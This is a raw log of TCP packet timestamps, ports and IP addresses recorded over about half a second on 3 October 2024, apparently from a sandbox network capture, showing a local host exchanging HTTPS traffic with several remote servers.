Oct 3, 2024 10:41:46.557173014 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:46.560920954 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.562083960 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.562104940 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.562258005 CEST	50026	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:46.562278032 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:46.562887907 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:46.563081026 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.563132048 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.563587904 CEST	50026	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:46.563667059 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:46.564218998 CEST	50026	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:46.564538956 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.564610004 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.565176010 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.565187931 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.579442978 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.587395906 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.590183020 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:46.590845108 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:46.590854883 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:46.592413902 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:46.592487097 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:46.593828917 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:46.593900919 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:46.594094038 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:46.596950054 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.597244024 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.597256899 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.598881006 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.598934889 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.600284100 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.600342989 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.600486994 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.600495100 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.610817909 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.610826015 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.611180067 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.611195087 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.611393929 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.611397982 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:46.611411095 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.612227917 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.612276077 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.612385988 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.612432003 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.612997055 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.613049984 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.613271952 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.613281012 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.613718987 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.613800049 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.613960981 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.613969088 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.623547077 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.623562098 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.623584032 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.623610020 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.623620033 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.623687029 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.623701096 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.623763084 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.626890898 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.626955032 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.635407925 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:46.639305115 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.639319897 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.639350891 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.639409065 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.639409065 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.639431953 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.646502018 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.646522045 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.646527052 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.646531105 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.646550894 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.646574020 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.662779093 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.671797037 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.671803951 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.673037052 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.673099041 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.673542976 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.673609018 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.673749924 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.673758984 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.674416065 CEST	443	50038	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:46.676676035 CEST	50038	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:46.676700115 CEST	443	50038	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:46.677256107 CEST	443	50038	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:46.685730934 CEST	50038	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:46.685955048 CEST	443	50038	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:46.686012983 CEST	50038	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:46.694516897 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.694581032 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.694607019 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.694628954 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.694753885 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.694753885 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.694787979 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.695208073 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.695236921 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.695266962 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.695275068 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.696106911 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.699974060 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.705643892 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.705699921 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.705782890 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.705821037 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.705831051 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.705843925 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.711941957 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.711975098 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.712295055 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.712316036 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.726035118 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.726075888 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.726087093 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.726099968 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.726516962 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.726517916 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.726517916 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.726535082 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.726535082 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.726538897 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.726550102 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.727332115 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:46.727339029 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:46.731403112 CEST	443	50038	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:46.742285013 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.742315054 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.742351055 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.742476940 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.742476940 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.742508888 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.756077051 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.756102085 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.756127119 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.756202936 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.756222010 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.756242990 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.771338940 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:46.772804022 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:46.781857967 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.781927109 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.781955004 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.782031059 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.782063007 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.782110929 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.782114029 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.782124996 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.782181025 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.782708883 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.782766104 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.782772064 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.783157110 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.783200979 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.783206940 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.783718109 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.783756018 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.783773899 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.783778906 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.783830881 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.783835888 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.784569979 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.784626007 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.784631968 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.787858009 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.787892103 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.787905931 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.787910938 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.787955046 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.789958954 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.794256926 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.794287920 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.794333935 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.794342995 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.794389963 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.798463106 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.800594091 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.800616980 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.800666094 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.800676107 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.800786972 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.805391073 CEST	443	50038	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:46.805486917 CEST	50038	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:46.807110071 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.807142973 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.807152033 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.807176113 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.807235956 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.807235956 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.807246923 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.807406902 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.814023018 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.815634012 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.816798925 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.816819906 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.816896915 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.816896915 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.816905022 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.816951036 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.819037914 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.823404074 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.826069117 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.828547955 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:46.828644991 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:46.828705072 CEST	50026	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:46.830526114 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.830547094 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.830694914 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.830694914 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.830703974 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.837516069 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.837517023 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.837517977 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.840493917 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.840595007 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.840600014 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.843004942 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.843040943 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.843127012 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.843127012 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.843148947 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.848172903 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.852659941 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.852740049 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.855170012 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.855202913 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.855257988 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.855278969 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.855375051 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.860780954 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.860863924 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.860913992 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.860913992 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.866230965 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.866264105 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.866337061 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.868686914 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.868727922 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.868747950 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.868755102 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.868796110 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.868987083 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.869076967 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.869123936 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.876056910 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.876086950 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.907850981 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.912708044 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.913480043 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.943078995 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.946768045 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.948425055 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.960340977 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.960501909 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.960582018 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.960582972 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.960649967 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.960675001 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.960721016 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.960766077 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.960805893 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.960819960 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.960863113 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.961309910 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.961357117 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.966968060 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.969491959 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.969557047 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.969593048 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.969625950 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.971065998 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.971132040 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.972186089 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.975720882 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.975769997 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.975805998 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.975831985 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.975873947 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.981822014 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.981918097 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.981944084 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.996912956 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.996957064 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.997050047 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.997060061 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.001631021 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.004087925 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:47.009944916 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.010001898 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.013092041 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:47.013103008 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.014520884 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.016146898 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:47.051068068 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.051132917 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.051218987 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.051261902 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.051310062 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.051456928 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.051517963 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.052371025 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.052423000 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.052449942 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.058629990 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.058665037 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.058737993 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.058751106 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.058816910 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.064775944 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.064835072 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.064901114 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.064909935 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.064970016 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.071019888 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.071120977 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.071204901 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.071233034 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.077342987 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.080127954 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.080152988 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.083559036 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.083638906 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.083657980 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.089600086 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.089657068 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.089677095 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.092690945 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.095472097 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.095514059 CEST	443	50027	157.240.253.1	192.168.2.4
